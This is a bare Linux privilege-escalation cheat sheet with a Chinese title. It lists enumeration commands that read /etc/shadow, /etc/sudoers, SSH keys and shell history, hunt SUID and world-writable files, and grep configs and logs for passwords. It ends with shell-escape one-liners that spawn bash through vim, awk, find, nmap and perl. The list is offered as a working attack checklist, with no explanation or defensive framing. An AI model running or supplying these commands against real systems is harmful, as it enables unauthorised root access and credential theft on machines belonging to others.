linux提权总结

uname -a

uname -r

uname -n

hostname

uname -m

cat /proc/version

cat /etc/*-release

cat /etc/issue

cat /proc/cpuinfo

df -a

cat /etc/passwd

cat /etc/group

for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null

cat /etc/shadow

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'

finger

pinky

users

who -a

w

last

lastlog

lastlog –u %username%

lastlog |grep -v "Never"

whoami

id

cat /etc/sudoers

sudo -l

sudo -l 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\

|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\

|ruby\|lua\|irb' | xargs -r ls -la 2>/dev/null

env

set

echo $PATH

history

pwd

cat /etc/profile

cat /etc/shells

find / -perm -4000 -type f 2>/dev/null

find / -uid 0 -perm -4000 -type f 2>/dev/null

find / -perm -2000 -type f 2>/dev/null

find / -perm -2 -type f 2>/dev/null

find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null

find / -perm -2 -type d 2>/dev/null

find /home –name *.rhosts -print 2>/dev/null

find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;

find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;

ls -ahlR /root/

cat ~/.bash_history

ls -la ~/.*_history

ls -la /root/.*_history

ls -la ~/.ssh/

find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls -la

ls -la /usr/sbin/in.*

grep -l -i pass /var/log/*.log 2>/dev/null

find /var/log -type f -exec ls -la {} \; 2>/dev/null

find /var/log -name *.log -type f -exec ls -la {} \; 2>/dev/null

find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null

ls -la /etc/*.conf

find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} \; 2>/dev/null

lsof -i -n

head /var/mail/root

ps aux | grep root

ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'

cat /etc/inetd.conf

cat /etc/xinetd.conf

cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null

ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null

crontab -l -u %username%

ls -la /etc/cron*

ls -aRl /etc/cron* | awk '$1 ~ /w.$/' 2>/dev/null

top

/sbin/ifconfig -a

cat /etc/network/interfaces

arp -a

route

cat /etc/resolv.conf

netstat -antp

netstat -anup

iptables -L

cat /etc/services

dpkg -l

rpm -qa

sudo -V

httpd -v

apache2 -v

apache2ctl (or apachectl) -M

mysql --version

psql -V

perl -v

java -version

python --version

ruby -v

find / -name %program_name% 2>/dev/null

which %program_name%

dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null

cat /etc/apache2/envvars 2>/dev/null |grep -i 'user\|group' |awk '{sub(/.*\export /,"")}1'

:!bash

:set shell=/bin/bash

:shell

!bash

find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;

awk 'BEGIN {system("/bin/bash")}'

--interactive

perl -e 'exec "/bin/bash";'